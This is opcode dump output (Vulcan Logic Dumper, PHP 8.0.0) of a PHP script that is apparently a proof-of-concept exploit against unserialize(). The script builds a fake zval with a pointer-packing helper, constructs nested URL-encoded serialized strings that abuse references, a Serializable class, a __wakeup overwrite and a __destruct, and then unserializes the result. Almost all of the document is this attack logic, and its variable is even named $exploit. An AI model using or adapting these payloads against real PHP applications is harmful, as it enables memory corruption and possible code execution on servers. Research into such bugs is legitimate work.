Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: /in/AeavT
function name: (null)
number of ops: 51
compiled vars: !0 = $fakezval, !1 = $inner, !2 = $exploit, !3 = $i, !4 = $j, !5 = $k, !6 = $l, !7 = $data
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
3 0 E > DECLARE_CLASS 'obj'
26 1 INIT_FCALL_BY_NAME 'ptr2str'
2 SEND_VAL_EX 1122334455
3 DO_FCALL 0 $8
4 ASSIGN !0, $8
27 5 INIT_FCALL_BY_NAME 'ptr2str'
6 SEND_VAL_EX 0
7 DO_FCALL 0 $10
8 ASSIGN_OP 8 !0, $10
28 9 ASSIGN_OP 8 !0, '%00%00%00%00'
29 10 ASSIGN_OP 8 !0, '%01'
30 11 ASSIGN_OP 8 !0, '%00'
31 12 ASSIGN_OP 8 !0, '%00%00'
33 13 ASSIGN !1, 'a%3A1%3A%7Bi%3A0%3BR%3A3%3B'
34 14 STRLEN ~17 !1
15 CONCAT ~18 'a%3A3%3A%7Bi%3A0%3BO%3A4%3A%22obj2%22%3A1%3A%7Bs%3A4%3A%22ryat%22%3BC%3A3%3A%22obj%22%3A', ~17
16 CONCAT ~19 ~18, '%3A%7B'
17 CONCAT ~20 ~19, !1
18 CONCAT ~21 ~20, '%7D%7D'
19 ASSIGN !2, ~21
35 20 STRLEN ~23 !0
21 CONCAT ~24 'i%3A1%3Bs%3A', ~23
22 CONCAT ~25 ~24, '%3A%22'
23 CONCAT ~26 ~25, !0
24 CONCAT ~27 ~26, '%22%3B'
25 ASSIGN_OP 8 !2, ~27
36 26 ASSIGN_OP 8 !2, 'i%3A2%3Ba%3A1%3A%7Bi%3A13%3Ba%3A1%3A%7Bi%3A15%3Br%3A4%3B%7D%7D%7D'
38 27 ASSIGN !3, 'O%3A3%3A%22aod%22%3A2%3A%7Bs%3A3%3A%22aod%22%3Ba%3A5%3A%7Bi%3A0%3BR%3A5%3Bi%3A1%3BR%3A3%3B'
39 28 STRLEN ~31 !3
29 CONCAT ~32 'C%3A3%3A%22obj%22%3A', ~31
30 CONCAT ~33 ~32, '%3A%7B'
31 CONCAT ~34 ~33, !3
32 CONCAT ~35 ~34, '%7D'
33 ASSIGN !4, ~35
40 34 STRLEN ~37 !4
35 CONCAT ~38 'C%3A3%3A%22obj%22%3A', ~37
36 CONCAT ~39 ~38, '%3A%7B'
37 CONCAT ~40 ~39, !4
38 CONCAT ~41 ~40, '%7D'
39 ASSIGN !5, ~41
41 40 CONCAT ~43 'a%3A2%3A%7Bi%3A0%3B', !5
41 CONCAT ~44 ~43, 'i%3A1%3BR%3A5%3B%7D'
42 ASSIGN !6, ~44
42 43 INIT_FCALL 'unserialize'
44 SEND_VAR !6
45 DO_ICALL $46
46 ASSIGN !7, $46
45 47 INIT_FCALL 'var_dump'
48 SEND_VAR !7
49 DO_ICALL
55 50 > RETURN 1
Function ptr2str:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 4
2 jumps found. (Code = 44) Position 1 = 13, Position 2 = 4
Branch analysis from position: 13
Branch analysis from position: 4
filename: /in/AeavT
function name: ptr2str
number of ops: 15
compiled vars: !0 = $ptr, !1 = $out, !2 = $i
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
47 0 E > RECV !0
49 1 ASSIGN !1, ''
50 2 ASSIGN !2, 0
3 > JMP ->11
51 4 > INIT_FCALL 'chr'
5 BW_AND ~5 !0, 255
6 SEND_VAL ~5
7 DO_ICALL $6
8 ASSIGN_OP 8 !1, $6
52 9 ASSIGN_OP 7 !0, 8
50 10 PRE_INC !2
11 > IS_SMALLER !2, 8
12 > JMPNZ ~10, ->4
54 13 > > RETURN !1
55 14* > RETURN null
End of function ptr2str
Class obj:
Function serialize:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: /in/AeavT
function name: serialize
number of ops: 6
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
6 0 E > INIT_FCALL 'serialize'
1 FETCH_OBJ_R ~0 'data'
2 SEND_VAL ~0
3 DO_ICALL $1
4 > RETURN $1
7 5* > RETURN null
End of function serialize
Function unserialize:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: /in/AeavT
function name: unserialize
number of ops: 7
compiled vars: !0 = $data
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
8 0 E > RECV !0
9 1 INIT_FCALL 'unserialize'
2 SEND_VAR !0
3 DO_ICALL $2
4 ASSIGN_OBJ 'data'
5 OP_DATA $2
10 6 > RETURN null
End of function unserialize
End of class obj.
Class obj2:
Function __wakeup:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: /in/AeavT
function name: __wakeup
number of ops: 3
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
16 0 E > ASSIGN_OBJ 'ryat'
1 OP_DATA 1
17 2 > RETURN null
End of function __wakeup
End of class obj2.
Class aod:
Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: /in/AeavT
function name: __destruct
number of ops: 4
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
22 0 E > ASSIGN_OBJ 'aod'
1 OP_DATA null
2 ECHO 'des'
23 3 > RETURN null
End of function __destruct
End of class aod.
Generated using Vulcan Logic Dumper, using php 8.0.0